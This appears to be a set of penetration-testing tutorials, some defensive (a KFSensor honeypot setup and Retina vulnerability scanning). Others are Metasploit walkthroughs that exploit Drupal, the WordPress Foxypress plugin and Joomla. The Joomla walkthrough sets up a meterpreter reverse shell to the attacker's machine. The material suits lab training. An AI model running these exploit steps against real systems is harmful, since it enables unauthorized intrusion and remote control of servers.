Detect Hacker in Network using kfsensor Honeypot

KFSensor is windows based Honeypot IDS (Intrusion Detection System), which acts as a honeypot to attract and detect hackers or other unauthorized users and Trojans by creating a virtual vulnerable system and services. By acting as a lure server or system it can divert all attacks and unauthorized visiting from a crucial and critical system. KFSensor is designed to use in windows based corporate level company and provides a cost effective way to improve network level security.

Let’s see how it works and protects.

You can download KFSensor from their official website or follow this link http://goo.gl/YrFmkb

So here I installed KFSensor on my system when you open KFSensor for the first time on you system you have to configure so, let’s do it.

Click Next

Now here you have to select your native services to monitor. Well, these services are running by default by the system

If you want notification related to attacks directly in your email account then give you email details here in this section to receive KFSensor email alerts.

Now finally click on finish to start monitoring your network.

This is the main interface of KFSensor where you can see each and every visit with deep details. You can view visitors by ports as well as by IP address.

So now if an intruder tries to scan or attack your system KFSensor will show them a simulated vulnerable machine and records their IP address, protocols, type of attack or scan they are performing, etc.

For example, here I’m scanning windows IP address running KFSensor with Nmap from my Linux system. You can see that Nmap results show me lots of services running on windows system which can be usedt o perform an attack.

When I was performingNmap scan KFSensor capture and record my IP address. You can see someone visited port 21 which is used for file transfer and visitor name is pc2-pc.rajlab.com

Hack Drupal Website Server using Drupal HTTP Parameter Key/Value SQL Injection

This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32).

Exploit Targets

Drupal 7.0

Requirement

Attacker: kali Linux

Victim PC: Drupal 7.0

Open Kali terminal type msfconsole

Now type use exploit/multi/http/drupal_drupageddon

msf exploit (drupal_drupageddon)>set targeturi /drupal/

msf exploit (drupal_drupageddon)>set rhost 192.168.0.109 (IP of Remote Host)

msf exploit (drupal_drupageddon)>set rport 80

msf exploit (drupal_drupageddon)>exploit         

   

Hack Remote Server using WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution

This module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.

Exploit Targets

Foxypress plugin versions 0.4.1.1 to 0.4.2.1

Requirement

Attacker: kali Linux

Victim PC: Foxypress plugin

Open Kali terminal type msfconsole

Now type use exploit/unix/webapp/wp_foxypress_upload

msf exploit (wp_foxypress_upload)>set targeturi /wordpress

msf exploit (wp_foxypress_upload)>set rhost 192.168.0.105 (IP of Remote Host)

msf exploit (wp_foxypress_upload)>set rport 80

msf exploit (wp_foxypress_upload)>exploit         

Vulnerability Scanning in Network using Retina

Retina is a network vulnerability scanner, one of the industry’s most powerful and effective vulnerability scanners. This network scanning tool gives pretty good vulnerability assessment experience and generates full brief network vulnerability report.

So let’s see how to do network vulnerability scanning.

Open Retina vulnerability scanning. In audit section click on Targets select target type you can select single IP or you can also give a range of IP’s, in my case I’m scanning single IP, now give file name and job name whatever you want.

Now click on Ports in the left section and select types of port group you want to include in your scan and click on modify.

Now click on Audits from the left section and select the type you want to scan.

Now goto Options section and select type of information you want to gather like NetBios name, DNS address, etc.

 Now goto credential section and select your type and finally click on scan.

Now Retina will start scanning your network according to settings.

After few minutes your vulnerability scanning will complete.

Now go to Remediate section, in this section you can select what you want to include in your vulnerability report.

Now in Report section you can select what type of report you want to generate for your network penetration testing. Select the type of report according to your need from Report type menu and click on Generate button

After that you have two options to view your report, either through Internet explorer or Microsoft word.

Click on the internet explorer icon. Now you can see that Retina Network vulnerability scanner created a wonderful vulnerability report by explaining each and every vulnerability of the network.

Hack Remote PC using Joomla HTTP Header Unauthenticated Remote Code Execution

Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

Exploit Targets

Joomla 1.5.0 - 3.4.5

Requirement

Attacker: kali Linux

Victim PC: Joomla 3.4.5

Open Kali terminal type msfconsole

Now type use exploit/multi/http/joomla_http­_header_rce

msf exploit (joomla_http­_header_rce)>set payload php/meterpreter/reverse_tcp

msf exploit (joomla_http­_header_rce)>set lhost 192.168.0.106 (IP address of kali Linux)

msf exploit (joomla_http­_header_rce)>set targeturi /joomla/

msf exploit (joomla_http­_header_rce)>set rhost 192.168.0.104 (IP of Remote Host)

msf exploit (joomla_http­_header_rce)>set rport 80

msf exploit (joomla_http­_header_rce)>exploit